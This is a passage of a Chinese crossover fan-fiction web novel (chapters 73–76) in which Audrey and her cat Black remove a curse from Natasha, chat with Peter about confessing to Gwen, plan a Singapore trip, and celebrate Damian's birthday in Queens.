“我要献花给她。”奥德莉随即登陆了自己的账号，点击了页面下方那个写着“献上鲜花”的按钮。墓碑的照片前方立刻出现一捧虚拟的花束。 第73章 “老爷，您回来了。”阿尔弗雷德的声音突然响起，音量比平时稍高，似乎…… “老爷,您回来了。”阿尔弗雷德的声音突然响起，音量比平时稍高，似乎是在有意提醒奥德莉。 “下一秒你是不是就要传送回宿舍了？”达米安望着奥德莉,带着“我已经看穿一切”的表情。 “才不会。我要先去学校一趟。不能让教授久等。”奥德莉一本正经地说,然后消失了。 她可没有说谎,先去把西西莉亚的笔记送到密大图书馆，然后才回到宿舍后洗了一个长长的热水澡。 吹干了头发，奥德莉将布莱克召唤出来,准备抱着它美美地睡一觉。但布莱克一出现便表现出应激炸毛的状态，跳到被她堆在角落的衣物和背包旁边，一件件地检查起来。 “怎么了？”越来越身宽体胖的猫咪从臂弯间突然跳走，奥德莉吃了一惊,看着布莱克撅着屁股认真翻找,像个黑色的大毛球。 “有不祥的气息！”布莱克已经被吓出了飞机耳，但百忙之中还是抽空转头给奥德莉一句回复,肉乎乎的猫脸上全是生动的担忧和紧张，圆圆的绿眼睛中瞳孔缩成竖线。 它很快找到了目标——那双登山短靴。 “你们不是去山里露营吗，怎么会带着诅咒*回来？达米安是个笨蛋！”布莱克气得破口大骂,完全不讲道理地责怪达米安。 “我以为诅咒通常只在藏宝地才会有,原来不是这样吗？”奥德莉已经习惯了猫猫相争，连象征性地对布莱克讲道理都放弃了，直接讲了自己的经历，然后说：“西西莉亚不会为那里设下诅咒。九头蛇应该也不会啊，否则岂不是很容易误伤自己人。” 布莱克思索了一会儿,猜测道：“也许是因为你曾在那片血肉残余上行走过。外神的愤怒之力化成诅咒而多年不消散,我听过这样的故事。” “你的意思是，不只是我,他们也带回了诅咒？那间实验室里到处都是血肉，不踩到根本不可能。” “事实上，他们三人才是诅咒会发作的对象。这种诅咒名为‘世间的蠕虫’，你听过吗？” “我知道这个诅咒。它对研习无形之术的人没有影响，但会随机附到在场的一位凡人身上，需要以极高阶的具有心之影响的物品献祭才能消除影响。”奥德莉回忆着课堂上的内容。 她暂时没有去藏宝地探险的计划，因此一直没有买诅咒探测器。为自己的拖延症和疏忽深深懊恼着，奥德莉决定尽快联系里弗拉姆拍卖行的店主埃莉诺，请她帮忙寻觅一台高阶探测器，迟息诅咒、第五目诅咒、涸魂诅咒和世间的蠕虫都能探测到的那种。 “你今晚回过密大，教授没发现你的异常吗？”布莱克费解地问。 “阿米蒂奇教授临时有事不在学校，他在图书馆前台留了口信，让我把笔记本放在他的桌子上。我没有见到他本人。”奥德莉说。 布莱克灵巧地跳到奥德莉的腿上，用爪子拍拍她表示安慰。 “多亏了你这只机智猫猫，什么都逃不过你的法眼。”奥德莉在布莱克的额头上用力地亲一口，布莱克得意地摇摇尾巴。 奥德莉旋即又说：“我得赶紧联系达米安。但我没有探测器，怎么去辨别诅咒附着在谁身上？对了，我可以去问问维斯勒医生，也许她可以借给我。” 见奥德莉一脸慌乱，布莱克觉得她真是笨死了。它举起一只爪子说：“我能帮你辨别啊。我和你一起去找达米安。” “你是世上最棒的猫猫。”奥德莉松了口气，揉了揉布莱克的头，然后起身去柜子中翻找。除了构成仪式的常规材料之外，她还取出了马尔鲁维姆丝带。它由失忆者的发丝、悔罪者的泪液与虔信者的心血织结而成，制作工艺十分复杂，具备强烈的心之影响特性。 将材料塞入背包后，奥德莉拨通了达米安的号码，直截了当地问：“你在哪里？我现在马上传送过去可以吗？” “我在家，不过父亲在我旁边。”达米安说，然后又立刻补上一句：“他在对我做口型，说他这就离开。” “他在也没关系。我马上到。”在这争分夺秒的时刻，奥德莉顾不上自己的纠结心情还没整理好，抱着布莱克立刻出发。 “发生了什么事吗？”见到奥德莉后，达米安立刻问道。 旁边的布鲁斯显得有些坐立不安，思考着该以“布鲁斯”还是“蝙蝠侠”的身份与奥德莉互动。但奥德莉的注意力完全没放在他身上，只对他打了个招呼就紧张地盯着达米安。 听到布莱克说“他没有被诅咒附着”之后，奥德莉下意识地松了口气，又为这个念头自我反省一秒，然后才说：“娜塔莉和詹姆斯中有一个人被诅咒了。” 布鲁斯和达米安都注意到奥德莉先是侧耳倾听了片刻，随后才开口说话。她语气坚定地排除了达米安被诅咒的可能，让两人认定她是带了某种能鉴别诅咒的装备。 “每过一个小时，这个诅咒就有一定几率发作一次，发作时受诅咒者必然死亡。人的好运气通常只能撑过几个小时，迟早难逃一死。死因是内脏全部溶解。”奥德莉说。 “如果从他们到达的时间算起，现在这诅咒可能已经发作了好几次。”达米安说。“我记得你当时并没有和他们交换联系方式。” “对，所以现在我们得想办法联系复仇者联盟，他们肯定有内部联络方式。”奥德莉说着，目光转向布鲁斯。 布鲁斯已经从达米安那里听说了他们在九头蛇基地的经历，他的神情变得严肃，掏出通讯器接通了钢铁侠。 “嗨，蝙蝠侠。有事吗？”钢铁侠托尼斯塔克声音轻快地说。 “我知道黑寡妇和冬兵去白山国家森林的九头蛇基地出任务了，他们回纽约了吗？” 布鲁斯省略掉寒暄，毫不拖泥带水地切入正题。通讯器自动将他的声音调整为蝙蝠侠的低沉语调。 “你怎么知道他们的任务？”托尼半开玩笑地问。“你是不是派超人监听我们了？” “基地存在诅咒，我还不确定是谁中了招。”布鲁斯没有回应托尼的问题。“我这边有人可以马上去帮忙。之后我会向你详细说明。” “我查一下坐标。”托尼说。蝙蝠侠的认真态度让他瞬间收起玩笑，语气也变得严肃起来，“他们还在基地，我马上通知他们在原地等待。” 奥德莉用一只手向上指了指，又用另一只手掌水平比划了一下。她不确定布鲁斯是否能看懂自己的手势，但布鲁斯马上补充道：“让他们去地面等待。” 奥德莉对布鲁斯竖起大拇指，布鲁斯回给她一个带着几分得意的微笑。那一刻，奥德莉忽然觉得自己的纠结烟消云散了。 布鲁斯就是蝙蝠侠，蝙蝠侠就是布鲁斯。他们是一体两面，无法分割。 “坐飞机去的话太慢了。”挂断通讯后，布鲁斯说。他又立刻接通了另一个人：“超人，速来庄园。” 就在布鲁斯和托尼打电话的这段时间里，达米安已经悄然离开换上了罗宾制服，又回来站在奥德莉旁边。奥德莉被他的速度震惊，目瞪口呆地说：“你是奇迹达米安吗？一键换装？” 达米安将她的惊叹视为夸奖，正想说点什么，超人已经到了，一脸纯良地问：“需要我做什么？” “送他们去救人。”布鲁斯说出了坐标。 “我们有两个人，怎么送啊？”奥德莉傻乎乎地问。她的脑海中第一个浮现的画面是那次她变成萨摩耶，和黑猫达米安一起趴在萨摩耶超人身上飞行的场景。但转念一想，要是他们是人类形态时按照那个姿势飞行，那画面太美她不敢想。 细思极恐，粗思也恐。 “你们两个可以分别抱住我的胳膊，我的生物立场会保护你们的。”超人提议。 奥德莉想象了一下，觉得那个画面也有点傻，但在可接受范畴内。最重要的是，现在时间紧急，她一时想不到更好的办法了。 “好吧，谢谢您。”奥德莉瞥了布莱克一眼，后者心领神会，立刻紧紧地抱住她的腿。 他们此刻的样子绝对堪称世界名画级别。奥德莉忧伤地闭上眼睛，庆幸没过几秒就到了目的地。 “需要我在这里等你们吗？”超人很有售后服务精神地问。 “不用，我们可以传送回去。”奥德莉说。 超人与站在一旁的娜塔莎和詹姆斯打了个招呼，然后飞走了。 此时布莱克已经做出判断，它跳上奥德莉的肩膀，低声说：“是这个红发女人。” “娜塔莎。”奥德莉立刻朝娜塔莎走去：“抱歉，我之前没意识到基地里存在诅咒。我现在就为你举行仪式解除它。” 詹姆斯立刻紧张地看向娜塔莎，娜塔莎对他轻轻摇头：“我目前没有感觉到什么异样。” “等你感觉到的时候，也就是最后的时刻了。据说从内脏开始溶解到死亡只需要六十秒钟。”奥德莉一边布置仪式，一边解释，说完又急忙安慰道：“不过不用担心，这个仪式很简单。” 正如奥德莉所说，她很快便完成了仪式，强忍泪水地望着那条昂贵的马尔鲁维姆丝带渐渐在空气中消散。 “仪式没有成功吗？”达米安见奥德莉如此悲伤，忍不住担忧地问。 “成功了。”奥德莉吸了吸鼻子。“我只是为我的钱包感到心疼而已。” 娜塔莎和詹姆斯也因为奥德莉的表情而紧张起来，听了她的话之后又觉得好笑。娜塔莎说：“把账单寄给复仇者联盟吧，我们会付钱的。” “真的吗？”奥德莉没想到能报销，顿时破涕为笑。“这个很贵的，非常贵。” “那不算什么问题。我们的赞助人是斯塔克，你听说过吗？他可是全美首富。”娜塔莎先开个玩笑，然后又真诚地说：“谢谢你救了我。” “纽约首富。”奥德莉下意识地纠正，说完有点尴尬，赶紧转换话题，问道：“我们要回哥谭了，你们要一起走吗？” “我们的直升机很快就到。”娜塔莎说。“后会有期。” “后会有期。” 第74章 回到哥谭之后，达米安注意到奥德莉脸上的倦色，催她快点回去休息。奥德…… 回到哥谭之后,达米安注意到奥德莉脸上的倦色，催她快点回去休息。奥德莉看着达米安精神抖擞准备去夜巡的模样，羡慕地问：“你为什么不觉得累？” “布鲁斯教过我一种快速恢复精力的方法,只需要一个小时的深度睡眠就能达到普通人睡一整晚的效果。”达米安说。 “我想学！快教我。”听到世界上还有这种好办法,奥德莉跃跃欲试起来,瞬间精神了不少。 “当然可以教你，但这只是应急手段，不能天天用。”达米安叮嘱。“布鲁斯曾因为任务紧迫而连续这么做了整整一个月,后果是昏睡了十六个小时，以及阿尔弗雷德一个月没有给他好脸色。” 奥德莉听了达米安的话，有点失望，但又觉得偶尔能用来应急也挺好的。布莱克却跳上她的肩膀,在她耳边低语：“睡觉是多么快乐的事情啊,怎么会有人希望一天只睡一个小时？这么做的人一定是反社会人格，而且长此以往会智商降低,变成笨蛋。” 虽然知道布莱克这番话的目的是讽刺达米安，奥德莉还是感觉自己膝盖中了一箭，被它的无差别攻击扫射到了。她无可奈何地轻轻扯了扯布莱克的尾巴,带着它离开了。 回到宿舍,奥德莉一头倒在床上，明明很累却怎么也睡不着。布莱克坐在她的枕头边，目光有神地俯视着她，说：“看来以后我得多跟着你出门，达米安远不如我原以为的靠谱。” “探险的时候肯定要带上你呀。你要是拒绝的话,我还得哭着求你和我去呢。”奥德莉语气夸张地说。“这么知识渊博又见多识广的小猫咪同伴,哪个调查员不想要？你就是我的秘密杀手锏。” 虽然奥德莉的话有点吹捧过头，但布莱克非常吃这一套,高兴地蹭蹭她的脸颊，说：“算你识货。” 奥德莉笑起来，说：“为了表彰你这次做出的卓越贡献，等我收到复仇者联盟的支票，你想要什么我都给你买。” “喵呜！”布莱克激动地晃了晃身体，绿眼睛瞪得圆溜溜的。它不假思索地说：“我想要一条红色围巾。” “这么简单的要求吗？你可以随时说的呀。”奥德莉被它可爱得心都要融化了，意识到布莱克可能想要这个很久了，立刻说：“这个不需要等支票，我现在就下单。” “不行。”布莱克用一只黑爪按住奥德莉去拿手机的手，然后又把另一只黑爪叠在上面一起压住，很认真地说：“用这笔报酬买的才有意义呀。因为这是我和你一起赚到的。” “这只是报销，不算报酬啦。不过都听你的，你先好好考虑想要的样式吧。”奥德莉对这只十分重视仪式感的猫猫提议道。 “其实你完全可以在账单里随便写上报酬的金额啊，还有报销的金额，你也可以写得虚高一点。这种珍贵的物品，价格向上浮动很正常。”布莱克十分有心眼地说，还露出一个狡黠的笑。 “你竟然无师自通学会了做假账！糟糕，你变成堕落猫猫了。”奥德莉没想到布莱克能说出这种话。它还是那只天真无邪的小猫咪吗？ “你们人类不是经常这么做吗？”布莱克一脸无辜地说，完全不理解奥德莉的说法。“这就是商业化模式啊，低价买入、高价卖出什么的，中间商当然要赚差价。至于你付出的劳动嘛，那可是稀缺资源，当然得漫天要价了。” “你说的好像也没错……”奥德莉忽然觉得布莱克要是做她的代理人，自己可能很快会发家致富，走上人生巅峰。 周一晚上，奥德莉接到了彼得的电话，他在另一端说了整整五分钟，奥德莉都没能插进一句话。 “你既然听说了这件事，那你应该也知道，我很轻松地就解决了问题。”终于等到彼得喘口气，奥德莉立刻抢着声明，刻意对发生的一切轻描淡写。 “但那里太吓人了，娜塔莎说她觉得毛骨悚然。那可是娜塔莎啊！”彼得压低了声音说。 “她是这么说的吗？可我完全没看出来她觉得害怕。”奥德莉回忆了一下，娜塔莎从头到尾都非常淡定，即使是在听说自己中了可能随时会死的诅咒时，她依然面不改色。 “如果她表现出惊慌，那可能真的是世界末日了。”彼得说。“我听完就担心得不行，赶紧来问问你现在怎么样了。” “好吧，说实话，午饭时我看到旁边桌子的人在吃三分熟的牛排，我几乎要吐出来。”奥德莉坦白道，然后又警告彼得：“不许告诉哈利和格温。” “我不说。”彼得无奈地保证，又担心地问：“你确定不需要我陪你好好聊聊吗？” “我已经没事了。晚饭的时候我采用了脱敏疗法，已经成功强迫自己吃了一块牛排。”奥德莉自豪地说。不过她觉得这个方法的成功不能全归于自己的意志力，也得感谢阿卡姆厨师高超的烹饪水平。 “不用对自己这么狠吧……”彼得讷讷地说。 “好啦，不说这个了。周末我就回纽约啦，可以每天去找你们三个吃午饭。” “哈利和格温肯定会问你的实习故事的。如果你说漏了嘴，千万别暴露我已经知情了。”彼得忧虑地说。 “这真的只是一次偶然事件！”奥德莉脸不红心不跳地说。“我的实习经历整体来说很平平无奇。” “实习地点在哥谭，这本身就和平平无奇没有关系了。”彼得吐槽一句，又说：“哥谭最近在纽约投放了不少旅游广告，也不知道是怎么想的。骗骗星城那边的人也就算了，西海岸的人可能对哥谭不了解。但纽约距离哥谭这么近，这么多年我们的学校旅游也从来没有组织过去哥谭啊。” “其实哥谭有挺多历史建筑的，只是不像费城或波士顿那样有很多历史事件，可能参观起来有点无聊。”奥德莉公允地评价，然后好奇地问：“广告中宣传的卖点是什么？” “广告里压根没提历史建筑。他们写的是：那么近，那么险，周末去哥谭。” “我完全不知道该说什么了。这真的能吸引到游客吗？” “事实上，我的不少同学都表示想去，说是为了寻求刺激。纽约还不够刺激吗？”彼得困惑地说。 “不是同一种刺激。”奥德莉顿悟，这是专门针对那些喜欢黑暗氛围的年轻人的广告。“纽约的反派通常比较简单粗暴，尤其是那些外星怪兽，虽然破坏力很强，但也毫无美感。哥谭的反派就不一样了，他们有独特的风格。” “纽约的反派中还有外星人。”彼得努力地找出一个纽约反派胜过哥谭反派的理由。“他们中的某些还是很有美感的。” “也许纽约人民看腻了嘛，想体验点不一样的。”奥德莉说。 “看你这么有精神，我就放心了。”彼得感叹。“梅姨前天还问我，你什么时候从哥谭实习回来，她很惦记你。” “我也很想梅姨。”奥德莉被彼得的话勾起了想家的情绪。“她最近好吗？” “你知道的，夏天的时候医院总是格外忙碌。虽然我告诉她，我实习挣的钱足够我们两个人花的，但她还是想多排些班。”彼得有点低落地说。“我担心她太辛苦了。” “等我回去帮你旁敲侧击，告诉梅姨你现在已经抱上了纽约首富斯塔克和立志成为纽约首富的哈利的大腿，金钱什么的完全不是问题。”奥德莉对自己能说服梅姨很有信心。 “她知道我在这两个集团打工，每周的工资支票我都会给她看。”彼得叹气。“但她觉得她是成年人，应该承担一切开销，让我好好把钱存起来。” “这样啊。”奥德莉也无奈了。“那我们只能慢慢劝了。” “还有一件事情。”彼得忽然扭捏起来。“格温的妈妈请我这周五晚上去她家里吃饭。” “你不是去过好多次了吗？”奥德莉对彼得的态度感到奇怪。 “是我们去过好多次了。”彼得解释说。“但这次她只邀请了我，没有邀请哈利。” “哦……”奥德莉故意拉长了声调，猜测对面的彼得已经红成了一只大虾。“这不是好事吗？” “可是我还没有对格温表白。”彼得支支吾吾地说。 “那你要抓紧了。”奥德莉说。“你到底在等什么呢？” “我担心格温会顾及大家的友谊而不拒绝我，之后相处起来她会很不开心。”彼得傻乎乎地说。 “你就没想过，她可能因为别的原因不去拒绝你吗？”奥德莉问。 “当然也想过！但是我怕我分辨不出来。”彼得说。 “所以，我总结一下，你认为只要你表白就会成功，因为无论格温是因为喜欢你还是因为不想伤害你，都会答应。”奥德莉用冷静的声音说。 “是这样的。”彼得说。 “你这个笨蛋！”奥德莉毫无预兆地提高音量，彼得被吓得缩了一下。“格温会对你说实话的，因为如果勉强答应，那是对你们双方的不尊重。你觉得格温是那种拖泥带水的性格吗？” “你说得对。”彼得被吼了一句，清醒过来了，意识到自己一直在钻牛角尖。但他紧接着就冒出下一个问题：“那她拒绝我怎么办？” “你知道我能传送对吧？不要逼我现在过去揍你。”奥德莉很凶残地说。她一直以为两位好友是心照不宣，现在看来是彼得在踟蹰不前。 “我知道该怎么做了。”彼得沉默了一会儿，又恢复了精神。“是我太优柔寡断了。” “祝你好运！”奥德莉鼓励道。“对了，关于梅姨，你看我们两家一起去休个假怎么样？再叫上格温和哈利。” 她自动忽略了格温的父母，因为这对警察局长和社工的夫妻组合都是工作狂，这么多年基本没休假过。至于哈利的父亲奥斯本先生，目前他正在神盾局“接受治疗”（准确地说是被关押），他们还是别去打扰为妙。 第75章 对于奥德莉的提议，彼得非常支持：“我觉得这个主意不错。最近我们的实…… 对于奥德莉的提议,彼得非常支持：“我觉得这个主意不错。最近我们的实验取得了一个阶段性成果，然后又一次陷入了停滞不前的状态，出去散散心可能对大家都有帮助。” 奥德莉立刻在群里发了信息,哈利很快回复：“整个八月我都排满了出差,不过八月五日至十日在新加坡的安排没那么紧凑,不如大家坐我的私人飞机一起去玩？” 奥德莉原本设想的是在纽约周边玩两天，没想到富豪的生活如此不朴实无华。她犹豫道：“这会不会太麻烦你了。” 哈利说：“飞机多载几个人，不是正符合现在流行的绿色出行倡导吗？” 奥德莉震惊：“绿色出行倡导是建议你搭乘民航经济舱。” 哈利更震惊：“那第二天报纸头条就会写：奥斯本集团疑似破产,总裁在机场排队安检。” 彼得也震惊：“绿色出行应该是钢铁侠那种，去哪里都靠自己飞吧。” 格温同震惊：“虽然钢铁侠消耗的是清洁能源，但终归是消耗能源。奥德莉的传送才是最绿色的。” 哈利无语，努力把话题拉回正轨：“这是我唯一能和你们一起玩的时间段。如果你们有其它安排也可以,但我参加不了会很伤心。” 真想象不出哈利是怎么一本正经地打出这种撒娇一样的文字的,奥德莉在心里腹诽。但她当然希望哈利能一起出行，便说：“好吧,那我问问我爸妈能不能在这个时间段休假。” 格温说：“这个时间我可以。” 彼得说：“我也可以，我现在就问梅姨。” 三位家长都表示可以休假，事情便这么敲定了。 奥德莉对着布莱克大发感慨：“哈利以前不是这个风格。富二代和集团掌门人的生活就是不一样啊。” 布莱克已经激动得原地转圈五分钟了,圆溜溜的眼睛中全是对卡戴珊式生活的向往,嘴里还小声地嘀咕：“私人飞机，喵呜。” “你不会在飞机上去抱哈利大腿吧？”奥德莉怀疑地看着布莱克，手动为这只原地旋转的黑色毛球按下了暂停键，把它抱了起来。 “当然不会，他又看不到我。要去抱大腿的是你,我会鞭策你的。”布莱克毫不犹豫地说。 “咦,你怎么换了口风？上次你还说如果富豪能获得赞助调查员的机会，应该哭着喊着感谢调查员。” 布莱克抗议：“那是工作赞助,这是生活上让我们蹭吃蹭喝，不一样。” “看来我真的得好好努力赚钱了。”奥德莉无奈地摸摸猫头，被PUA出一种布莱克跟着自己吃了很多苦的错觉。 其实奥德莉也很激动，不完全是因为私人飞机，也因为她还没有去过亚洲呢。她立刻开始查找旅游攻略，看看当地的打卡地点和必吃榜上有什么。 布莱克把脑袋搭在奥德莉肩膀上，和她一起看笔记本电脑的屏幕，一人一猫已经开始畅想漫游在东南亚街头的快乐时光了。 期间，达米安打电话问奥德莉的情况如何，是否因为露营而肌肉酸痛。其实他想问的是奥德莉的精神状态和心情如何，但他选择旁敲侧击，不想让奥德莉觉得自己被小瞧了。 “我觉得腿有点酸，不过不严重。”奥德莉说完，忽然意识到达米安真正想问的是别的，又补充一句：“我没有被吓到，放心吧。只是觉得那个场景有点恶心，不过现在已经没事了。” “那就好。”达米安听她的状态不错，这才放心。 周二，格温和彼得正式宣布两人是男女朋友关系了。 哈利和奥德莉立刻表示了恭喜，奥德莉还单独给格温发了消息，让她在下次见面时把所有细节讲给自己。 下班后，达米安赶在给奥德莉到达食堂前给她打电话：“来吃饭吗？阿福做了焗龙虾、龙虾烩饭和龙虾卷。” “庄园被龙虾入侵了吗？别担心，我可以帮忙把敌人吃光。”奥德莉期待地说，积极踊跃地传送了。 韦恩庄园很安静，毫无被外敌入侵的景象。达米安正在和阿福一起摆餐具，气氛一片祥和。 “超人和海王一起去做任务，看到当地龙虾很新鲜，顺便买了两筐，送给我们一份。”达米安说，瞥见奥德莉若有所思的表情，问道：“怎么了？” “我只是在想，超人当着海王的面买龙虾，海王没有意见吗？” “海王本人也吃海鲜啊。事实上，今天是他推荐超人买的，说价格很划算。”达米安解释。 “啊？”奥德莉呆了一呆，又问：“我听说海王会和鱼说话，是真的吗？” “是真的，他能和水中的生物交流。” “那他吃海鲜的时候，不会有心理障碍吗？”奥德莉纠结地说。 “你不是第一个有这种疑问的人。”达米安笑了。“海王有一次去海鲜餐厅，他一进门，所有人的脸色都变了，还以为他是去砸场子的。然后他向侍应生点了鱼和土豆片，旁边的客人还跑过去阻止他。” “哈哈哈。”奥德莉想象了一下在场客人的心情，没忍住笑了出来。 “你今天的心情看起来很好？”达米安注意到奥德莉今天一直带着微笑，似乎遇到了特别开心的事情。 “我的两个好朋友终于正式宣布恋爱啦。”奥德莉快活地说。“我一直相信他们是彼此的命中注定，只是不确定他们什么时候才会迈出这一步。” “哈利吗？”达米安语气随意地问，仿佛只是一个顺口而出的猜测。 但他记得——清楚地记得，那晚在冰山餐厅的宴会，在短暂的混乱之后，哈利将奥德莉紧紧抱在怀里，而她对哈利的关心没有丝毫不快，完全没有因为对方将她当成弱者而恼怒。 “不是他。”奥德莉没有意识到达米安的异样。 达米安咬了一口龙虾卷，没再多问。 最后一星期的实习无惊无险地结束了。周五下班后，奥德莉去和维斯勒医生依依不舍地告别，维斯勒医生对她的实习表现大加赞赏，两人约好经常联系。 回宿舍取行李时，奥德莉惊讶地发现达米安正站在客厅等她。他的怀里抱着一束色彩清新的花，两朵向日葵在中央盛放，被香槟玫瑰、淡蓝色绣球花和洁白的兵乓菊围绕着，尤加利叶和洋桔梗花苞点缀其中。 “恭喜你顺利完成实习。”达米安把花递过去。 “谢谢。”奥德莉接过花，低头欣赏了几秒，然后抬起头说：“这样的分别太郑重其事了。” 达米安微微挑起眉，说：“八月二日我们约好了见面的，还记得吗？” “当然记得。你去纽约还是我来哥谭？” “我去纽约。”达米安不假思索地说。 “你不会还对之前的‘失约’耿耿于怀吧？”奥德莉眯起眼睛。 “我对那件事确实很在意。”注意到奥德莉的表情，达米安立刻出声解释。“不是因为怪你。” 他看着奥德莉，绿眼睛中满是遗憾：“我只是觉得……错过了和你在一起的时间，明明上一个暑假，我们可以一起待几天的。” “这个暑假我们基本天天见面。”奥德莉很煞风景地说，被达米安瞪了一眼，立刻闭上了嘴。 “上次分别前你说‘纽约见’，我想完成这个约定。”达米安说。 “好啊。那一天都留给你。”奥德莉说。 “下次暑假，你不会来哥谭实习了吧？”达米安忽然问。这是他第一次问这个问题。 “我想我会申请一个其它类型的实习，也许是探险类的。我还没想好。大三的暑假实习是毕业前最后一次实习，非常重要，我需要好好考虑一下。” 这是达米安意料之内的答案，他点点头：“你说得对。那……实习之余，你会愿意来哥谭度假几天吗？” “达米安。”奥德莉忽然伸手戳了戳达米安的胳膊，很认真地说：“我们不会变成陌生人的。如果下次你再失忆，我就每天不定时地传送到你身边，把你吓得恢复记忆。” “你保证会这么做吗？我可不可以假装我已经失忆了？”达米安真诚发问。 “你这个邪恶黑煤球。”奥德莉佯怒道，作势要用花束去敲达米安的脑袋，却在半空中停住了动作，看看那些美丽娇嫩的花，最后舍不得地再次把花抱回怀里。“算了，这一次放过你。” “谢谢你救了我。”达米安对花束说，然后胳膊又被奥德莉戳了一下。 又聊了一些毫无意义的话之后，空气变得安静下来。奥德莉看看时间，说：“我要走了。” 达米安轻声说：“保持联系。” “当然。”奥德莉说，然后消失了。 奥德莉出现在家中时，母亲莉莉和父亲约翰正在厨房忙碌。听到她的动静，约翰扬声道：“晚饭马上就好。” “妈妈，帮我找一个花瓶吧，大一点的。”奥德莉捧着花跑到厨房。 “这花真好看。”莉莉和约翰对视一眼，笑眯眯地去柜子里找出一个花瓶。“放在餐桌上正适合。你选的搭配吗？” “别人送给我的，庆祝实习结束。”奥德莉说。 “那对方很有品位。”莉莉说，和奥德莉一起将花插入花瓶，一边若无其事地问：“是谁送的啊？” “一个朋友。”奥德莉说。 “本来今天我们想邀请彼得和梅来吃晚饭的，”莉莉忽然说，“不过彼得已经答应去格温家吃饭了。梅说要值班，也没来。” “我们可以改天再约。”奥德莉感觉谈话要走向一个不妙的方向。 “我听说了彼得和格温恋爱的消息，他们真是般配的一对。”果然，莉莉说起了这件事，然后期待地问：“你有没有什么想和妈妈分享的事情啊？” “我也听说他们的好消息了。”奥德莉试图转换话题。“爸爸，你需要我帮忙吗？” “来帮我端盘子吧。”约翰说。奥德莉如蒙大赦地跑进厨房，没想到是落入了另一个陷阱，因为约翰小声地问：“爸爸也很想知道，你先告诉我吧。” 奥德莉坚定地拒绝了试图用最大的那块苹果派贿赂自己的约翰：“我已经不是九岁啦。” “真可惜，那时候这招可管用得很。”约翰怀念地说。 第76章 奥德莉很庆幸父母在晚餐时放了自己一马，没有再追问她，而是聊起了即将…… 奥德莉很庆幸父母在晚餐时放了自己一马,没有再追问她，而是聊起了即将到来的旅行。 “彼得担心梅姨太辛苦了，我在想,这次*旅行的时候你们能不能委婉地劝一劝她？彼得现在的收入足够养他自己了,养家也绰绰有余。”奥德莉将这次旅行的起因告诉了父母。 “自从彼得上大学之后,梅确实比以前还忙，而且经常上夜班。我会找个合适的机会和她聊聊的。”莉莉说。 “其实彼得有奖学金，即便没有实习,大学的花销也不算太大啊。”约翰说。“她这么拼，可能是想多攒点钱给彼得，将来有什么需要也好应付。” “不只是彼得，你们也不需要为我攒钱。”奥德莉认真地说。“密大给我的奖学金足够支付大半的学费了,姑祖母又留下了年金。还有,我现在也能赚一些钱了。” “可惜我们从来都没见过阿塞纳丝。”莉莉感叹道。“除了你讲的关于她的那些传奇故事，我们对她几乎一无所知。” “我想这是她的意愿。”约翰也很遗憾地说。“她知道我们的存在,却选择不在生前联系我们。” “对了，爸爸，我们俩可能有非人类的血统。”奥德莉想起这个传闻,故弄玄虚地告诉父亲。 “什么？”约翰震惊,然后猜测起来：“是不是吸血鬼血统？我一直觉得我对紫外线有点过敏。” “可你很喜欢吃大蒜口味的薯片。”莉莉反驳道。“而且我说了很多次了，你应该涂点防晒霜。这次去新加坡你最好戴一顶帽子，那里的阳光很强。” 约翰把期望的眼神投向奥德莉，后者耸耸肩：“虽然我不知道答案，但我想不是吸血鬼。” “说到这个,周日我想去梅西百货买一些旅行用品,你想一起去逛逛吗？”莉莉问。 “周日我有安排了。”奥德莉尽量不动声色地说，仿佛只是在谈论天气。 “好吧,那如果你需要什么的话，随时告诉我。”莉莉说。 周日一早，达米安和奥德莉在约好的地点见面。这是一家位于皇后区的家庭餐厅，主要客人是附近的居民，早餐时提供多种多样的华夫饼和牛角包。 “你说过好奇皇后区人民的生活是什么样的。这就是我经常吃早饭的地方。”奥德莉和店主打了个招呼，将达米安领到她最喜欢的靠窗座位。 “看起来很温馨。”达米安打量了一下红色格纹桌布和周围有点老旧但洁净的内部装饰，然后看起了菜单。 周日来吃早餐的客人通常不会这么早到，因此餐厅里只有零散几桌客人。奥德莉看看周围，确认没人注意到他们，轻轻敲敲桌子吸引达米安的注意。 “怎么了？”达米安从菜单后面看向奥德莉。他今天穿了一件套头卫衣，看起来就像一个普通的大学生。 “生日快乐！”奥德莉变戏法一样拿出一个扎着丝带的盒子。 看着达米安露出震惊到空白的表情，奥德莉低声笑了：“你表现得够奇怪了，难道还以为我会不去找阿尔弗雷德咨询情报吗？” “我……”达米安张了张嘴，只发出一个音节。 “我本来想，既然你没有事先告诉我今天是你的生日，那我就在晚上分别前再把礼物给你。但是我又想，如果我在早上就给你惊喜的话，你可能一整个白天都会格外开心。”奥德莉有点得意地说。 这时，店主捧着一个盘子过来了——两张刚做好的华夫饼叠在一起，旁边围着水果块和冰淇淋球，最上面插了一根小小的蜡烛。 “生日快乐。”店主阿姨笑眯眯地说，从围裙口袋中掏出打火机将蜡烛点燃。“点餐的时候喊我。” “谢谢您，汤普森太太。”奥德莉说，然后伸手在达米安眼前晃了晃。“地球呼叫达米安。” “我很开心，谢谢。”达米安终于找回了声音。他放下一直无意识地紧紧抓着的菜单，认真地看着眼前可爱的盘子，然后吹灭了蜡烛。 “这不是正式的生日蛋糕。”奥德莉补充道。“只是为了给你个惊喜。晚上我订了餐厅。” “看来你已经做了一整天的日程安排。”达米安说。 “既然有人预订了我珍贵的暑假一日，我当然要好好计划一下。不过如果你有想去的地方，我可以根据你的想法随时调整。今天过生日的人最大，你想做什么都可以。” “什么都可以吗？”达米安的绿色眼睛一眨不眨地盯着奥德莉。 “当然是合理范畴内，而且解释权归我。”奥德莉立刻说。 “好吧。”达米安露出一副特别遗憾的表情，就仿佛他刚才已经大胆地想象了几个不合理的要求，然后在被奥德莉瞪了一眼之后立刻收敛。 “其实我并没有特别想做的事情。”达米安老实地说。“只是和你在纽约闲逛一天就很好。” “那我们上午在附近逛逛，下午去格林威治村，晚上再正式为你庆生，怎么样？” “我想不出比这更好的安排了。”达米安说。 两人点了餐，一边吃华夫饼一边等着店主上菜。奥德莉看着达米安，不自觉想起昨天和格温的聊天。 和奥德莉见面时，格温先是说起她的家人对彼得表现出了极大的欢迎，也为格温和彼得终于走到一起而高兴，然后有点害羞地讲起彼得的表白，以及他对蜘蛛侠身份的坦白。她用喜爱的语气说：“他好像真的以为我们都被他瞒过去了，真是个笨蛋。” “然后呢？你立刻答应他了，还是用扑克脸让他提心吊胆几分钟？”奥德莉急切地问。 “我故意提起蜘蛛侠救过我的事情，但他听了我的话之后，眼神一下子迷茫得像一只淋了一夜雨又被人踹了一脚的小狗。” 